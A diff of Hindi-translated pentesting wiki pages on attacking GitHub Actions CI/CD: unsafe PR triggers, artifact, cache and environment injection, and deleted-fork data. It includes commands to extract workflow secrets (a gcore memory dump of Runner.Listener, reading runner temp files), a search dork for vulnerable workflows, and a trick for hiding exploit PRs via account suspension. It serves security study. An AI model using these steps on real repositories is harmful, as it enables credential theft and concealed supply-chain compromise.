> [!NOTE] -> चूंकि **डिफ़ॉल्ट सीमा** **पहली बार** योगदानकर्ताओं के लिए है, आप **एक मान्य बग/टाइपो को ठीक करने** में योगदान कर सकते हैं और फिर **अपने नए `pull_request` विशेषाधिकारों का दुरुपयोग करने के लिए अन्य PR भेज सकते हैं**। +> चूंकि **डिफ़ॉल्ट सीमा** **पहली बार** योगदानकर्ताओं के लिए है, आप **एक मान्य बग/टाइपो को ठीक करके योगदान** कर सकते हैं और फिर **अपने नए `pull_request` विशेषाधिकारों का दुरुपयोग करने के लिए अन्य PR भेज सकते हैं**। > > **मैंने इसका परीक्षण किया और यह काम नहीं करता**: ~~एक और विकल्प होगा किसी ऐसे व्यक्ति का नाम लेकर एक खाता बनाना जिसने परियोजना में योगदान दिया और उसका खाता हटा दिया।~~ -इसके अलावा, डिफ़ॉल्ट रूप से **लिखने की अनुमति** और **गुप्त पहुंच** को लक्षित रिपॉजिटरी में रोकता है जैसा कि [**दस्तावेज़**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories) में उल्लेख किया गया है: +इसके अलावा, डिफ़ॉल्ट रूप से **लिखने की अनुमति** और **गुप्त पहुंच** को लक्षित रिपॉजिटरी में रोकता है जैसा कि [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories) में उल्लेख किया गया है: -> `GITHUB_TOKEN` को छोड़कर, **गुप्त को रनर को नहीं भेजा जाता** जब कार्यप्रवाह एक **फोर्क की गई** रिपॉजिटरी से ट्रिगर किया जाता है। **`GITHUB_TOKEN` में पुल अनुरोधों में **पढ़ने की केवल अनुमति** होती है **फोर्क की गई रिपॉजिटरी** से। +> `GITHUB_TOKEN` को छोड़कर, **गुप्त को रनर को नहीं भेजा जाता** जब कार्यप्रवाह एक **फोर्क किए गए** रिपॉजिटरी से ट्रिगर किया जाता है। **`GITHUB_TOKEN` में पुल अनुरोधों में **पढ़ने की केवल अनुमति** होती है **फोर्क किए गए रिपॉजिटरी** से। -एक हमलावर Github Action की परिभाषा को संशोधित कर सकता है ताकि मनमाने चीजें निष्पादित की जा सकें और मनमाने कार्यों को जोड़ा जा सके। हालाँकि, वह गुप्त चुराने या रिपॉजिटरी को ओवरराइट करने में सक्षम नहीं होगा क्योंकि उल्लेखित सीमाएँ हैं। +एक हमलावर Github Action की परिभाषा को संशोधित कर सकता है ताकि मनमाने कार्यों को निष्पादित किया जा सके और मनमाने कार्यों को जोड़ा जा सके। हालाँकि, वह गुप्त चुराने या रिपॉजिटरी को ओवरराइट करने में सक्षम नहीं होगा क्योंकि उल्लेखित सीमाएँ हैं। > [!CAUTION] > **हाँ, यदि हमलावर PR में उस github action को बदलता है जो ट्रिगर किया जाएगा, तो उसका Github Action उपयोग किया जाएगा और मूल रिपॉजिटरी का नहीं!** -चूंकि हमलावर द्वारा निष्पादित कोड पर भी नियंत्रण होता है, भले ही `GITHUB_TOKEN` पर गुप्त या लिखने की अनुमति न हो, एक हमलावर उदाहरण के लिए **दुष्ट कलाकृतियाँ अपलोड** कर सकता है। +चूंकि हमलावर द्वारा निष्पादित कोड पर भी नियंत्रण होता है, भले ही `GITHUB_TOKEN` पर गुप्त या लिखने की अनुमति न हो, एक हमलावर उदाहरण के लिए **दुष्ट कलाकृतियों को अपलोड** कर सकता है। ### **`pull_request_target`** कार्यप्रवाह ट्रिगर **`pull_request_target`** को लक्षित रिपॉजिटरी में **लिखने की अनुमति** और **गुप्तों तक पहुंच** होती है (और अनुमति नहीं मांगता)। -ध्यान दें कि कार्यप्रवाह ट्रिगर **`pull_request_target`** **बेस संदर्भ में चलता है** और PR द्वारा दिए गए संदर्भ में नहीं (ताकि **अविश्वसनीय कोड निष्पादित न हो**)। `pull_request_target` के बारे में अधिक जानकारी के लिए [**दस्तावेज़ देखें**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target)।\ -इसके अलावा, इस विशिष्ट खतरनाक उपयोग के बारे में अधिक जानकारी के लिए इस [**गिटहब ब्लॉग पोस्ट**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/) की जांच करें। +ध्यान दें कि कार्यप्रवाह ट्रिगर **`pull_request_target`** **बेस संदर्भ में चलता है** और PR द्वारा दिए गए संदर्भ में नहीं (ताकि **अविश्वसनीय कोड निष्पादित न हो**)। `pull_request_target` के बारे में अधिक जानकारी के लिए [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target) देखें।\ +इसके अलावा, इस विशिष्ट खतरनाक उपयोग के बारे में अधिक जानकारी के लिए इस [**github ब्लॉग पोस्ट**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/) की जांच करें। -यह लग सकता है कि क्योंकि **निष्पादित कार्यप्रवाह** वह है जो **बेस** में परिभाषित है और **PR** में नहीं है, यह **सुरक्षित** है **`pull_request_target`** का उपयोग करना, लेकिन कुछ **केस हैं जहाँ यह नहीं है**। +यह लग सकता है कि चूंकि **निष्पादित कार्यप्रवाह** वह है जो **बेस** में परिभाषित है और **PR में नहीं** है, इसलिए **`pull_request_target`** का उपयोग करना **सुरक्षित** है, लेकिन कुछ **केस हैं जहाँ यह नहीं है**। और यह एक **गुप्तों तक पहुंच** होगी। @@ -209,7 +209,7 @@ branches: [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) ट्रिगर एक कार्यप्रवाह को एक अलग कार्यप्रवाह से चलाने की अनुमति देता है जब यह `पूर्ण`, `अनुरोधित` या `प्रगति में` हो। -इस उदाहरण में, एक कार्यप्रवाह को अलग "टेस्ट चलाएँ" कार्यप्रवाह के पूरा होने के बाद चलाने के लिए कॉन्फ़िगर किया गया है: +इस उदाहरण में, एक कार्यप्रवाह को "Run Tests" कार्यप्रवाह के पूरा होने के बाद चलाने के लिए कॉन्फ़िगर किया गया है: ```yaml on: workflow_run: @@ -217,16 +217,16 @@ workflows: [Run Tests] types: - completed ``` -Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**. +इसके अलावा, दस्तावेज़ों के अनुसार: `workflow_run` इवेंट द्वारा शुरू किया गया वर्कफ़्लो **गुप्त कोड और टोकन लिखने तक पहुँच सकता है, भले ही पिछले वर्कफ़्लो नहीं था**। -इस प्रकार का वर्कफ़्लो हमला किया जा सकता है यदि यह एक **वर्कफ़्लो** पर **निर्भर** है जिसे एक बाहरी उपयोगकर्ता द्वारा **`pull_request`** या **`pull_request_target`** के माध्यम से **प्रेरित** किया जा सकता है। कुछ कमजोर उदाहरण [**इस ब्लॉग में पाया जा सकता है**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** पहला उदाहरण **`workflow_run`** द्वारा प्रेरित वर्कफ़्लो है जो हमलावर के कोड को डाउनलोड करता है: `${{ github.event.pull_request.head.sha }}`\ -दूसरा उदाहरण **`workflow_run`** वर्कफ़्लो में **अविश्वसनीय** कोड से एक **कलाकृति** को **पास** करने और इस कलाकृति की सामग्री का उपयोग करने पर आधारित है, जिससे यह **RCE के लिए कमजोर** हो जाता है। +इस प्रकार का वर्कफ़्लो हमला किया जा सकता है यदि यह एक **वर्कफ़्लो** पर **निर्भर** करता है जिसे एक बाहरी उपयोगकर्ता द्वारा **`pull_request`** या **`pull_request_target`** के माध्यम से **प्रेरित** किया जा सकता है। कुछ कमजोर उदाहरण [**इस ब्लॉग में पाया जा सकता है**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**।** पहला उदाहरण **`workflow_run`** द्वारा प्रेरित वर्कफ़्लो है जो हमलावर के कोड को डाउनलोड करता है: `${{ github.event.pull_request.head.sha }}`\ +दूसरा उदाहरण **`workflow_run`** वर्कफ़्लो में **अविश्वसनीय** कोड से एक **कलाकृति** **पास** करने और इस कलाकृति की सामग्री का उपयोग करने पर आधारित है, जिससे यह **RCE के लिए कमजोर** हो जाता है। ### `workflow_call` TODO -TODO: जांचें कि जब इसे pull_request से निष्पादित किया जाता है तो उपयोग किया गया/डाउनलोड किया गया कोड मूल से है या फोर्क किए गए PR से +TODO: जांचें कि क्या `pull_request` से निष्पादित होने पर उपयोग किया गया/डाउनलोड किया गया कोड मूल से है या फोर्क किए गए PR से ## फोर्क किए गए निष्पादन का दुरुपयोग @@ -234,12 +234,12 @@ TODO: जांचें कि जब इसे pull_request से निष ### अविश्वसनीय चेकआउट निष्पादन -**`pull_request`** के मामले में, वर्कफ़्लो **PR के संदर्भ में** निष्पादित होगा (इसलिए यह **दुष्ट PR का कोड** निष्पादित करेगा), लेकिन किसी को इसे **पहले अधिकृत** करना होगा और यह कुछ [सीमाओं](./#pull_request) के साथ चलेगा। +**`pull_request`** के मामले में, वर्कफ़्लो **PR के संदर्भ में** निष्पादित होगा (इसलिए यह **दुष्ट PRs कोड** को निष्पादित करेगा), लेकिन किसी को पहले इसे **अधिकृत** करना होगा और यह कुछ [सीमाओं](./#pull_request) के साथ चलेगा। -यदि एक वर्कफ़्लो **`pull_request_target` या `workflow_run`** का उपयोग कर रहा है जो एक वर्कफ़्लो पर निर्भर है जिसे **`pull_request_target` या `pull_request`** से प्रेरित किया जा सकता है, तो मूल रेपो का कोड निष्पादित होगा, इसलिए **हमलावर निष्पादित कोड को नियंत्रित नहीं कर सकता**। +यदि एक वर्कफ़्लो **`pull_request_target` या `workflow_run`** का उपयोग कर रहा है जो एक वर्कफ़्लो पर निर्भर करता है जिसे **`pull_request_target` या `pull_request`** से प्रेरित किया जा सकता है, तो मूल रेपो का कोड निष्पादित होगा, इसलिए **हमलावर निष्पादित कोड को नियंत्रित नहीं कर सकता**। > [!CAUTION] -> हालाँकि, यदि **एक्शन** में एक **स्पष्ट PR चेकआउट** है जो **PR से कोड प्राप्त करेगा** (और आधार से नहीं), तो यह हमलावर के नियंत्रित कोड का उपयोग करेगा। उदाहरण के लिए (लाइन 12 देखें जहां PR कोड डाउनलोड किया गया है): +> हालाँकि, यदि **एक्शन** में एक **स्पष्ट PR चेकआउट** है जो **PR से कोड प्राप्त करेगा** (और आधार से नहीं), तो यह हमलावर द्वारा नियंत्रित कोड का उपयोग करेगा। उदाहरण के लिए (लाइन 12 देखें जहां PR कोड डाउनलोड किया गया है):
# INSECURE. Provided as an example only.
 on:
@@ -272,11 +272,11 @@ Thank you!
 संभावित रूप से **अविश्वसनीय कोड `npm install` या `npm build` के दौरान चलाया जा रहा है** क्योंकि निर्माण स्क्रिप्ट और संदर्भित **पैकेज PR के लेखक द्वारा नियंत्रित हैं**।
 
 > [!WARNING]
-> कमजोर एक्शन की खोज के लिए एक गिटहब डॉर्क है: `event.pull_request pull_request_target extension:yml` हालाँकि, भले ही एक्शन को असुरक्षित रूप से कॉन्फ़िगर किया गया हो, फिर भी कार्यों को सुरक्षित रूप से निष्पादित करने के लिए विभिन्न तरीके हैं (जैसे कि यह देखने के लिए कि PR उत्पन्न करने वाला अभिनेता कौन है)।
+> कमजोर क्रियाओं की खोज के लिए एक गिटहब डॉर्क है: `event.pull_request pull_request_target extension:yml` हालाँकि, भले ही क्रिया को असुरक्षित रूप से कॉन्फ़िगर किया गया हो, फिर भी कार्यों को सुरक्षित रूप से निष्पादित करने के लिए विभिन्न तरीके हैं (जैसे कि यह निर्धारित करने के लिए कि PR उत्पन्न करने वाला अभिनेता कौन है)।
 
 ### संदर्भ स्क्रिप्ट इंजेक्शन 
 
-ध्यान दें कि कुछ [**गिटहब संदर्भ**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) हैं जिनके मान **उपयोगकर्ता** द्वारा नियंत्रित होते हैं जो PR बना रहा है। यदि गिटहब एक्शन उस **डेटा का उपयोग करके कुछ निष्पादित कर रहा है**, तो यह **मनमाने कोड निष्पादन** की ओर ले जा सकता है:
+ध्यान दें कि कुछ [**गिटहब संदर्भ**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) हैं जिनके मान **उपयोगकर्ता** द्वारा नियंत्रित होते हैं जो PR बना रहा है। यदि गिटहब क्रिया उस **डेटा का उपयोग करके कुछ निष्पादित कर रही है**, तो यह **मनमाने कोड निष्पादन** की ओर ले जा सकता है:
 
 {{#ref}}
 gh-actions-context-script-injections.md
@@ -284,19 +284,19 @@ gh-actions-context-script-injections.md
 
 ### **GITHUB_ENV स्क्रिप्ट इंजेक्शन** 
 
-दस्तावेज़ों के अनुसार: आप एक वर्कफ़्लो नौकरी में किसी भी बाद के चरणों के लिए एक **पर्यावरण चर उपलब्ध** करा सकते हैं, इसे परिभाषित या अपडेट करके और इसे **`GITHUB_ENV`** पर्यावरण फ़ाइल में लिखकर।
+दस्तावेज़ों से: आप किसी वर्कफ़्लो नौकरी में किसी भी बाद के चरणों के लिए एक **पर्यावरण चर उपलब्ध** करा सकते हैं, इसे परिभाषित या अपडेट करके और इसे **`GITHUB_ENV`** पर्यावरण फ़ाइल में लिखकर।
 
-यदि एक हमलावर इस **env** चर के अंदर **कोई भी मान** **इंजेक्ट** कर सकता है, तो वह env चर को इंजेक्ट कर सकता है जो अगले चरणों में कोड निष्पादित कर सकता है जैसे **LD_PRELOAD** या **NODE_OPTIONS**।
+यदि एक हमलावर इस **env** चर के अंदर **कोई भी मान** **इंजेक्ट** कर सकता है, तो वह ऐसे env चर इंजेक्ट कर सकता है जो अगले चरणों में कोड निष्पादित कर सकते हैं जैसे **LD_PRELOAD** या **NODE_OPTIONS**।
 
 उदाहरण के लिए ([**यह**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) और [**यह**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), कल्पना करें कि एक वर्कफ़्लो एक अपलोड की गई कलाकृति पर भरोसा कर रहा है ताकि इसकी सामग्री को **`GITHUB_ENV`** env चर के अंदर संग्रहीत किया जा सके। एक हमलावर इसे समझौता करने के लिए कुछ इस तरह अपलोड कर सकता है:
 
 
-### कमजोर तृतीय पक्ष गिटहब एक्शन +### कमजोर तृतीय पक्ष गिटहब क्रियाएँ #### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact) -जैसा कि [**इस ब्लॉग पोस्ट**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks) में उल्लेख किया गया है, यह गिटहब एक्शन विभिन्न वर्कफ़्लो और यहां तक कि रिपॉजिटरी से कलाकृतियों तक पहुंच की अनुमति देता है। +जैसा कि [**इस ब्लॉग पोस्ट**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks) में उल्लेख किया गया है, यह गिटहब क्रिया विभिन्न वर्कफ़्लो और यहां तक कि रिपॉजिटरी से कलाकृतियों तक पहुँचने की अनुमति देती है। समस्या यह है कि यदि **`path`** पैरामीटर सेट नहीं किया गया है, तो कलाकृति वर्तमान निर्देशिका में निकाली जाती है और यह उन फ़ाइलों को ओवरराइट कर सकती है जो बाद में वर्कफ़्लो में उपयोग की जा सकती हैं या यहां तक कि निष्पादित की जा सकती हैं। इसलिए, यदि कलाकृति कमजोर है, तो एक हमलावर इसका दुरुपयोग करके अन्य वर्कफ़्लो को समझौता कर सकता है जो कलाकृति पर भरोसा करते हैं। @@ -323,7 +323,7 @@ with: name: artifact path: ./script.py ``` -यह इस वर्कफ़्लो के साथ हमला किया जा सकता है: +इस वर्कफ़्लो के साथ हमला किया जा सकता है: ```yaml name: "some workflow" on: pull_request @@ -349,7 +349,7 @@ path: ./script.py > [!CAUTION] > इसलिए यदि कोई क्रिया एक गैर-मौजूद खाते से एक रिपॉजिटरी का उपयोग कर रही है, तो यह संभव है कि एक हमलावर उस खाते को बना सके और क्रिया को समझौता कर सके। -यदि अन्य रिपॉजिटरी **इस उपयोगकर्ता की रिपॉजिटरी से निर्भरताएँ** का उपयोग कर रही हैं, तो एक हमलावर उन्हें हाइजैक करने में सक्षम होगा। यहाँ आपके पास एक अधिक पूर्ण व्याख्या है: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) +यदि अन्य रिपॉजिटरी **इस उपयोगकर्ता के रिपॉजिटरी से निर्भरताएँ** का उपयोग कर रही हैं, तो एक हमलावर उन्हें हाइजैक करने में सक्षम होगा। यहाँ आपके पास एक अधिक पूर्ण व्याख्या है: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) --- @@ -360,7 +360,7 @@ path: ./script.py ### कैश पॉइज़निंग -एक कैश **समान शाखा में वर्कफ़्लो रन के बीच** बनाए रखा जाता है। जिसका अर्थ है कि यदि एक हमलावर **एक पैकेज को समझौता करता है** जो फिर कैश में संग्रहीत होता है और **डाउनलोड** और **अधिक विशेषाधिकार प्राप्त** वर्कफ़्लो द्वारा निष्पादित होता है, तो वह उस वर्कफ़्लो को भी **समझौता** कर सकेगा। +एक कैश **समान शाखा में वर्कफ़्लो रन के बीच** बनाए रखा जाता है। जिसका अर्थ है कि यदि एक हमलावर **एक पैकेज को समझौता करता है** जो फिर कैश में संग्रहीत होता है और **डाउनलोड** और **एक्सीक्यूट** किया जाता है एक **अधिक विशेषाधिकार प्राप्त** वर्कफ़्लो द्वारा, तो वह उस वर्कफ़्लो को भी **समझौता** कर सकेगा। {{#ref}} gh-actions-cache-poisoning.md @@ -368,7 +368,7 @@ gh-actions-cache-poisoning.md ### आर्टिफैक्ट पॉइज़निंग -वर्कफ़्लो **अन्य वर्कफ़्लो और यहां तक कि रिपॉजिटरी से आर्टिफैक्ट्स** का उपयोग कर सकते हैं, यदि एक हमलावर उस Github Action को **समझौता** करने में सफल होता है जो एक आर्टिफैक्ट **अपलोड** करता है जो बाद में किसी अन्य वर्कफ़्लो द्वारा उपयोग किया जाता है, तो वह **अन्य वर्कफ़्लो को समझौता** कर सकता है: +वर्कफ़्लो **अन्य वर्कफ़्लो और यहां तक कि रिपॉजिटरी से आर्टिफैक्ट्स** का उपयोग कर सकते हैं, यदि एक हमलावर **Github Action को समझौता करने में सफल होता है** जो एक आर्टिफैक्ट **अपलोड करता है** जो बाद में किसी अन्य वर्कफ़्लो द्वारा उपयोग किया जाता है, तो वह **अन्य वर्कफ़्लो को समझौता** कर सकता है: {{#ref}} gh-actions-artifact-poisoning.md @@ -394,7 +394,7 @@ gh-actions-artifact-poisoning.md यदि आप एक स्क्रिप्ट में सामग्री इंजेक्ट कर रहे हैं, तो यह जानना दिलचस्प है कि आप रहस्यों तक कैसे पहुँच सकते हैं: -- यदि रहस्य या टोकन को **पर्यावरण चर** पर सेट किया गया है, तो इसे **`printenv`** का उपयोग करके सीधे पर्यावरण के माध्यम से पहुँचा जा सकता है। +- यदि रहस्य या टोकन को **पर्यावरण चर** पर सेट किया गया है, तो इसे **`printenv`** का उपयोग करके सीधे पर्यावरण के माध्यम से एक्सेस किया जा सकता है।
@@ -452,7 +452,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} - ```bash cat /home/runner/work/_temp/* ``` -- JavaScript क्रियाओं के लिए गुप्त को पर्यावरण चर के माध्यम से भेजा जाता है +- JavaScript क्रियाओं के लिए गुप्त और पर्यावरण चर के माध्यम से भेजे जाते हैं - ```bash ps axe | grep node ``` @@ -468,19 +468,19 @@ key: ${{ secrets.PUBLISH_KEY }} यह पता लगाने का तरीका कि कौन सी **Github Actions गैर-github अवसंरचना में निष्पादित हो रही हैं** वह है कि Github Action कॉन्फ़िगरेशन yaml में **`runs-on: self-hosted`** के लिए खोजें। -**स्वयं-होस्टेड** रनर्स को **अतिरिक्त संवेदनशील जानकारी** तक पहुंच हो सकती है, अन्य **नेटवर्क सिस्टम** (नेटवर्क में कमजोर एंडपॉइंट? मेटाडेटा सेवा?) या, भले ही यह अलग-थलग और नष्ट हो जाए, **एक से अधिक क्रियाएं एक ही समय में चलाई जा सकती हैं** और दुर्भावनापूर्ण एक **दूसरे के गुप्त को चुरा सकती है**। +**स्वयं-होस्टेड** रनर्स को **अतिरिक्त संवेदनशील जानकारी** तक पहुंच हो सकती है, अन्य **नेटवर्क सिस्टम** (नेटवर्क में कमजोर एंडपॉइंट? मेटाडेटा सेवा?) या, भले ही यह अलग-थलग और नष्ट हो जाए, **एक से अधिक क्रियाएं एक ही समय में चलाई जा सकती हैं** और दुर्भावनापूर्ण एक **दूसरे के गुप्त चुराने** में सक्षम हो सकता है। स्वयं-होस्टेड रनर्स में यह भी संभव है कि **\_Runner.Listener**\_\*\* प्रक्रिया\*\* से **गुप्त प्राप्त करें** जो किसी भी चरण पर कार्यप्रवाह के सभी गुप्त को अपनी मेमोरी को डंप करके रखेगा: ```bash sudo apt-get install -y gdb sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')" ``` -Check [**इस पोस्ट में अधिक जानकारी के लिए**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/). +चेक करें [**इस पोस्ट के लिए अधिक जानकारी**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/)। ### Github Docker Images Registry -यह संभव है कि Github actions बनाई जाएं जो **Github के अंदर एक Docker छवि का निर्माण और संग्रह करें**।\ -एक उदाहरण निम्नलिखित विस्तार योग्य में पाया जा सकता है: +यह संभव है कि Github क्रियाएँ **Github के अंदर एक Docker छवि बनाएँ और संग्रहीत करें**।\ +एक उदाहरण निम्नलिखित विस्तारणीय में पाया जा सकता है:
@@ -515,9 +515,9 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e ```
-जैसा कि आप पिछले कोड में देख सकते हैं, Github रजिस्ट्री **`ghcr.io`** में होस्ट की गई है। +जैसा कि आप पिछले कोड में देख सकते हैं, Github रजिस्ट्री **`ghcr.io`** पर होस्ट की गई है। -एक उपयोगकर्ता जिसे रेपो पर पढ़ने की अनुमति है, वह फिर व्यक्तिगत एक्सेस टोकन का उपयोग करके Docker इमेज डाउनलोड कर सकेगा: +एक उपयोगकर्ता जिसे रेपो पर पढ़ने की अनुमति है, वह फिर एक व्यक्तिगत एक्सेस टोकन का उपयोग करके Docker इमेज डाउनलोड कर सकेगा: ```bash echo $gh_token | docker login ghcr.io -u --password-stdin docker pull ghcr.io//: @@ -530,13 +530,13 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-m ### Github Actions लॉग में संवेदनशील जानकारी -यहां तक कि अगर **Github** **क्रियाओं के लॉग में रहस्यमय मानों** का **पता लगाने** और **उन्हें दिखाने से बचने** की कोशिश करता है, तो **अन्य संवेदनशील डेटा** जो क्रिया के निष्पादन में उत्पन्न हो सकता है, छिपा नहीं होगा। उदाहरण के लिए, एक JWT जो एक रहस्यमय मान के साथ हस्ताक्षरित है, तब तक छिपा नहीं होगा जब तक कि इसे [विशेष रूप से कॉन्फ़िगर](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret) नहीं किया गया हो। +यहां तक कि अगर **Github** **क्रियाओं के लॉग में रहस्यमय मानों** का **पता लगाने** की कोशिश करता है और **उन्हें दिखाने से बचता है**, तो **अन्य संवेदनशील डेटा** जो क्रिया के निष्पादन में उत्पन्न हो सकता है, छिपा नहीं होगा। उदाहरण के लिए, एक JWT जो एक रहस्यमय मान के साथ हस्ताक्षरित है, तब तक छिपा नहीं होगा जब तक कि इसे [विशेष रूप से कॉन्फ़िगर](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret) नहीं किया गया हो। -## अपने निशान छुपाना +## अपने निशान छिपाना -(तकनीक [**यहां**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit) से) सबसे पहले, कोई भी PR जो उठाया गया है, वह Github में सार्वजनिक रूप से और लक्षित GitHub खाते के लिए स्पष्ट रूप से दिखाई देता है। GitHub में डिफ़ॉल्ट रूप से, हम **इंटरनेट से एक PR को हटा नहीं सकते**, लेकिन इसमें एक मोड़ है। उन GitHub खातों के लिए जो **Github द्वारा निलंबित** हैं, उनके सभी **PRs स्वचालित रूप से हटा दिए जाते हैं** और इंटरनेट से हटा दिए जाते हैं। इसलिए अपनी गतिविधियों को छिपाने के लिए आपको या तो अपने **GitHub खाते को निलंबित** कराना होगा या अपने खाते को **फ्लैग** कराना होगा। यह **आपकी सभी गतिविधियों** को GitHub से इंटरनेट से छिपा देगा (बुनियादी रूप से आपके सभी शोषण PR को हटा देगा) +(तकनीक [**यहां**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit) से) सबसे पहले, कोई भी PR जो उठाया गया है, वह स्पष्ट रूप से Github में सार्वजनिक रूप से और लक्षित GitHub खाते के लिए दिखाई देता है। GitHub में डिफ़ॉल्ट रूप से, हम **इंटरनेट से एक PR को हटा नहीं सकते**, लेकिन इसमें एक मोड़ है। उन GitHub खातों के लिए जो **Github द्वारा निलंबित** हैं, उनके सभी **PR स्वचालित रूप से हटा दिए जाते हैं** और इंटरनेट से हटा दिए जाते हैं। इसलिए अपनी गतिविधियों को छिपाने के लिए आपको या तो अपने **GitHub खाते को निलंबित** कराना होगा या अपने खाते को **फ्लैग** कराना होगा। यह **आपकी सभी गतिविधियों** को GitHub से इंटरनेट से छिपा देगा (बुनियादी रूप से आपके सभी शोषण PR को हटा देगा) -GitHub में एक संगठन खातों की रिपोर्ट करने में बहुत सक्रिय है। आपको बस "कुछ चीजें" Issue में साझा करनी हैं और वे सुनिश्चित करेंगे कि आपका खाता 12 घंटे में निलंबित हो जाए :p और आपके पास है, अपने शोषण को github पर अदृश्य बना दिया। +GitHub में एक संगठन खातों की रिपोर्ट करने में बहुत सक्रिय है। आपको बस "कुछ चीजें" Issue में साझा करनी हैं और वे सुनिश्चित करेंगे कि आपका खाता 12 घंटे में निलंबित हो जाए :p और वहां आपके पास, आपका शोषण GitHub पर अदृश्य हो गया। > [!WARNING] > एक संगठन के लिए यह पता लगाने का एकमात्र तरीका है कि वे लक्षित हुए हैं, SIEM से GitHub लॉग की जांच करना है क्योंकि GitHub UI से PR हटा दिया जाएगा। diff --git a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md index cec27db0b..1463c61eb 100644 --- a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md +++ b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md @@ -25,12 +25,12 @@ Github से डेटा तक पहुँचने के ये तरी ## निजी रिपॉजिटरी डेटा तक पहुँच -1. आप एक निजी रिपॉजिटरी बनाते हैं जो अंततः सार्वजनिक की जाएगी। -2. आप उस रिपॉजिटरी का एक निजी, आंतरिक संस्करण बनाते हैं (फोर्किंग के माध्यम से) और उन सुविधाओं के लिए अतिरिक्त कोड कमिट करते हैं जिन्हें आप सार्वजनिक नहीं करने जा रहे हैं। -3. आप अपने "अपस्ट्रीम" रिपॉजिटरी को सार्वजनिक बनाते हैं और अपने फोर्क को निजी रखते हैं। +1. आप एक निजी रिपॉजिटरी बनाते हैं जिसे अंततः सार्वजनिक किया जाएगा। +2. आप उस रिपॉजिटरी का एक निजी, आंतरिक संस्करण (फोर्किंग के माध्यम से) बनाते हैं और उन सुविधाओं के लिए अतिरिक्त कोड कमिट करते हैं जिन्हें आप सार्वजनिक नहीं करने जा रहे हैं। +3. आप अपनी "अपस्ट्रीम" रिपॉजिटरी को सार्वजनिक बनाते हैं और अपने फोर्क को निजी रखते हैं। > [!CAUTION] -> आंतरिक फोर्क बनाए जाने और सार्वजनिक संस्करण सार्वजनिक किए जाने के बीच के समय में आंतरिक फोर्क में धकेले गए सभी डेटा तक पहुँच संभव है। +> आंतरिक फोर्क बनाए जाने और सार्वजनिक संस्करण को सार्वजनिक किए जाने के बीच के समय में आंतरिक फोर्क में धकेले गए सभी डेटा तक पहुँच संभव है। ## हटाए गए/छिपे हुए फोर्क से कमिट कैसे खोजें @@ -47,7 +47,7 @@ Github से डेटा तक पहुँचने के ये तरी - [https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14](https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14) - [https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463](https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463) -और अंतिम वाला एक छोटा sha-1 है जो ब्रूटफोर्स किया जा सकता है। +और अंतिम वाला एक छोटा sha-1 का उपयोग करता है जो ब्रूटफोर्स किया जा सकता है। ## संदर्भ diff --git a/src/pentesting-ci-cd/github-security/basic-github-information.md b/src/pentesting-ci-cd/github-security/basic-github-information.md index 8105fd68c..9736ff095 100644 --- a/src/pentesting-ci-cd/github-security/basic-github-information.md +++ b/src/pentesting-ci-cd/github-security/basic-github-information.md @@ -6,7 +6,7 @@ एक बड़े **कंपनी** का बुनियादी गिटहब वातावरण संरचना एक **उद्यम** है जो **कई संगठनों** का मालिक है और उनमें से प्रत्येक में **कई रिपॉजिटरी** और **कई टीमें** हो सकती हैं। छोटे कंपनियों के पास केवल **एक संगठन और कोई उद्यम** हो सकता है। -एक उपयोगकर्ता के दृष्टिकोण से, एक **उपयोगकर्ता** विभिन्न **उद्यमों और संगठनों** का **सदस्य** हो सकता है। उनके भीतर, उपयोगकर्ता के पास **विभिन्न उद्यम, संगठन और रिपॉजिटरी भूमिकाएँ** हो सकती हैं। +एक उपयोगकर्ता के दृष्टिकोण से, एक **उपयोगकर्ता** **विभिन्न उद्यमों और संगठनों** का **सदस्य** हो सकता है। उनके भीतर उपयोगकर्ता के पास **विभिन्न उद्यम, संगठन और रिपॉजिटरी 